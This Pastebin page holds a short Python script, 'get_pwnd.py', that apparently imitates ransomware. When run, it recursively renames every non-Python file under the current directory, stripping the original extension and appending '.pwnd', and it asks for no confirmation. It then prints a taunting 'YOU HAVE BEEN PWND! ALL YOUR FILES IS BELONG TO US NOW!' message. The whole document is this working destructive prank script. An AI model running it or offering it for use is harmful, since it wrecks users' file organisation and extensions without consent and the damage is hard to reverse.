Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python3
- # -*- coding: utf-8 -*-
- # Filename: get_pwnd.py
- # Version: 1.0.0
- # Author: Jeoi Reqi
- """
- Description:
- - This script recursively renames all files in a specified directory and its subdirectories.
- - It does this by stripping their existing extensions and appending '.pwnd'.
- - It skips renaming files with a '.py' extension and leaves directory names unchanged.
- Requirements:
- - Python 3.x
- - os module
- Functions:
- - add_pwnd_extension(directory):
- Recursively renames files by appending '.pwnd' to their base names, excluding '.py' files.
- Usage:
- - Ensure Python 3.x is installed.
- - Run the script in a directory where files need to be renamed.
- - The script will rename all files in the current directory and its subdirectories.
- Additional Notes:
- - Files with conflicting names will have a numeric suffix added (e.g., filename_1.pwnd).
- - Ensure the script is run with appropriate permissions to rename files.
- """
- import os
- def add_pwnd_extension(directory):
- """
- Recursively renames all files in the specified directory and its subdirectories by
- stripping their existing extensions and appending '.pwnd'.
- Files with a '.py' extension are excluded from renaming. Directory names remain unchanged.
- Args:
- directory (str): The path to the directory where the renaming should begin.
- Returns:
- None
- """
- for root, _, files in os.walk(directory): # Use underscore for the unused 'dirs' variable
- for filename in files:
- if filename.endswith('.py'):
- continue # Skip .py files
- old_path = os.path.join(root, filename)
- base_filename = os.path.splitext(filename)[0] # Remove the existing extension
- new_filename = base_filename + '.pwnd' # Append the new '.pwnd' extension
- new_path = os.path.join(root, new_filename)
- # Check if the new file path already exists and handle conflicts
- counter = 1
- while os.path.exists(new_path):
- new_filename = f"{base_filename}_{counter}.pwnd"
- new_path = os.path.join(root, new_filename)
- counter += 1
- os.rename(old_path, new_path)
- print(f"\nPWND:\n{old_path}\n --->\t--->\t--->\t-P->\t-W->\t-N->\t-D->\t--->\t--->\t--->\n{new_path}")
- if __name__ == "__main__":
- """
- Main execution block. Gets the current working directory and initiates the renaming process.
- """
- cwd = os.getcwd()
- add_pwnd_extension(cwd)
- print("\n\n\t\t\t\tYOU HAVE BEEN PWND!\n\n\t\t\tALL YOUR FILES IS BELONG TO US NOW!")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement